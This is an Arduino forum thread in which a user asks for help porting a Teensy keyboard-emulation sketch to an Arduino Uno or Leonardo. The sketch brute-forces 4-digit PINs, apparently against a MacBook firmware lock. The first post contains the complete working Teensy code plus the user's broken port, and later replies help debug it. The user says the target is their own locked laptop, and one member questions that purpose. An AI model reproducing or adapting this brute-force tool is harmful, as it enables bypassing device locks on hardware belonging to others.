Pages: [1] 2   Go Down
Author Topic: Translate Teensy Code into Arduino Uno R3 or Leonardo  (Read 6931 times)
0 Members and 1 Guest are viewing this topic.
Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi everybody,

I try to tranlate this code into my arduino. This code should generate a serial of number to 0000 to 9999. I try to made a code but it dosnt work. It generate letters and other characters but not numbers. If someone can correct i will be very happy.

Sorry for my english if i made some mistake. It's not my mother tongue.

Thank you

The original code :

Code:
#include <usb_keyboard.h>
const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
delay(10000);
}
void loop(){
keyboard_modifier_keys = 0;
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending forth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending enter
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}

The sketch i made :


Code:
const int ledPin = 13;
int counter = 0;

int loops = 0;
int value0 = 0;
int value1 = 0;
int value2 = 0;
int value4 = 0;
int fakecounter = counter;
char pin[]="xxxx";
uint8_t buf[8] = {
0 }; /* Keyboard report buffer */
void setup() {
pinMode(ledPin, OUTPUT);
Serial.begin(9600);
randomSeed(analogRead(0));
delay(200);
}
void loop(){
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//First Digit
int value0 = pin[0] - '0';
buf[3] = value0 + 29;
if (buf[3] = 30){
buf[3] = value0 + 29;
Serial.write(buf, 8);
delay(450);
releaseKey();
delay(420);
}
//Second Digit
int value1 = pin[1] - '0';
buf[3] = value1 + 29;
if (buf[3] = 30){
buf[3] = value1 + 29;
Serial.write(buf, 8);
delay(398);
releaseKey();
delay(510);
}
//Third Digit
int value2 = pin[2] - '0';
buf[3] = value2 + 29;
if (buf[3] = 30){
buf[3] = value2 + 29;
Serial.write(buf, 8);
delay(421);
releaseKey();
delay(423);
}
//Forth Digit
int value3 = pin[3] - '0';
buf[3] = value3 + 29;
if (buf[3] = 30){
buf[3] = value3 + 29;
Serial.write(buf, 8);
delay(430);
releaseKey();
delay(525);
}
//Enter Key
buf[3] = 40;
Serial.write(buf, 8);
delay(305);
releaseKey();
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
void releaseKey()
{
buf[0] = 0;
buf[2] = 0;
buf[3] = 0;
Serial.write(buf, 8); // Release key
}
« Last Edit: September 10, 2013, 02:42:45 pm by khalilalucard » Logged

Manchester (England England)
Offline Offline
Brattain Member
*****
Karma: 602
Posts: 33373
Solder is electric glue
View Profile
WWW
 Bigger Bigger  Smaller Smaller  Reset Reset

Look at that code you posted, all those cool similes, are they in the code? ... No.

This is why we ask users to use code tags, this is explained in the how to use this forum sticky post.
Read it and modify that original post please.
Logged

Global Moderator
UK
Offline Offline
Brattain Member
*****
Karma: 290
Posts: 25800
I don't think you connected the grounds, Dave.
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Code:
if (buf[3] = 30)
Always true.
Oh dear.
Logged

"Pete, it's a fool looks for logic in the chambers of the human heart." Ulysses Everett McGill.
Do not send technical questions via personal messaging - they will be ignored.

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Oh sorry. I didn't see. I will correct this.

Thank you
« Last Edit: September 10, 2013, 02:43:16 pm by khalilalucard » Logged

Belgium
Offline Offline
Edison Member
*
Karma: 68
Posts: 1899
Arduino rocks; but with my plugin it can fly rocking the world ;-)
View Profile
WWW
 Bigger Bigger  Smaller Smaller  Reset Reset

Which teensy do you use to have a led on pin 13?
The uno does not support keyboard emulation and your "original sketch" does keyboard emulation so that should not translate to UNO at all.
The leonardo does have keyboard emulation (as it is the exact same chip as teensy 2) but you are not using a keyboard library in your new sketch.
In other word: it is completely unclear to me what you are trying to do and why you have translation problems.
Best regards
Jantje
Logged

Do not PM me a question unless you are prepared to pay for consultancy.
Nederlandse sectie - http://arduino.cc/forum/index.php/board,77.0.html -

Global Moderator
UK
Offline Offline
Brattain Member
*****
Karma: 290
Posts: 25800
I don't think you connected the grounds, Dave.
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Code:
void releaseKey()
{
buf[0] = 0;
buf[2] = 0;
buf[3] = 0;
Serial.write(buf, 8); // Release key
}
What about but [1] ?
Logged

"Pete, it's a fool looks for logic in the chambers of the human heart." Ulysses Everett McGill.
Do not send technical questions via personal messaging - they will be ignored.

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi janjte,

The model of the teesny is the 2.0+ or 3.0. I know that the UNO can't be used as HID. I follow this website to turn my uno r3 into HID http://mitchtech.net/arduino-usb-hid-keyboard/ but when i try it on notepad, it send only wwww and not number.
So this morning i shop a Leonardo card but i didn't watch it now.
Can you tell me where should be the problem ?

Thank you
Logged

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi AWOL,

I make the correction and i will try this. I'll tell you if it works.

Thank you
Logged

Belgium
Offline Offline
Edison Member
*
Karma: 68
Posts: 1899
Arduino rocks; but with my plugin it can fly rocking the world ;-)
View Profile
WWW
 Bigger Bigger  Smaller Smaller  Reset Reset

what is wrong?
First of all it looks like you are trying to write a hacking program entering pin codes on one or another program.
secondly
Code:
if (buf[3] = 30)
Always true.
Oh dear.


Due to 1 I will not comment any more unless you give a really good explanation what this project of yours is about.

jantje
Logged

Do not PM me a question unless you are prepared to pay for consultancy.
Nederlandse sectie - http://arduino.cc/forum/index.php/board,77.0.html -

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi janjte,
As you say it's a bruteforce: http://orvtech.com/en/howto/atacar-efi-pin-macbook-pro/
My Macbook air crashed last week and when i try to clear it, it ask me a code. I called Apple and they told me that my  warranty is over (i bought my mac in 2011). So they ask me 150 euros for send a key but i said them that i never did this code. So i am stuck. I buy an other macbook pro friday because i need a computer for school and my macbook air is too old :p

So that's all. I buy the starter kit for arduino last week because i will start my project for school, an engeener project in  embedded system. It talk about drones, and when i see the website of ovrtech, i though i could try to use his sketch into my R3. But if it doesn't work it's not a big deal, i'll just clear my session and create an other and sell my macbook like that.
Logged

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi jantjte,

Can you explain me why this part of code is always true ?

Code:
if (buf[3] = 30)


Thank you
Logged

Global Moderator
UK
Offline Offline
Brattain Member
*****
Karma: 290
Posts: 25800
I don't think you connected the grounds, Dave.
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Because 30 is not zero.
Logged

"Pete, it's a fool looks for logic in the chambers of the human heart." Ulysses Everett McGill.
Do not send technical questions via personal messaging - they will be ignored.

Left Coast, CA (USA)
Offline Offline
Brattain Member
*****
Karma: 361
Posts: 17262
Measurement changes behavior
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi jantjte,

Can you explain me why this part of code is always true ?

Code:
if (buf[3] = 30)


Thank you

Because
Code:
if (buf[3] = 30)

works different then:
Code:
if (buf[3] == 30)

Lefty

Logged

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi everybody,

Oh god it's clear that '=' is totaly different that '=='.
I will try this. I'll told you if it's works.



Thank you everybody.
Logged

Toulouse
Offline Offline
Newbie
*
Karma: 0
Posts: 8
View Profile
 Bigger Bigger  Smaller Smaller  Reset Reset

Hi,

Finally it doesn't work. I think this will not work, because when i test it, I always have a random characters and not a counter of number (0, 1, 2 , ..., 9). Maybe the ATMEGA328P in the Arduino Uno  is not working with this flash. I will try to do an other sketch with the Arduino Leonardo. I see into the arduino software a model of "keyboardandmouse" sketch so i will start with this. I'll post it when i'am finish.

Hope this will work :p

Thank you buddies
Logged

Pages: [1] 2   Go Up
Jump to: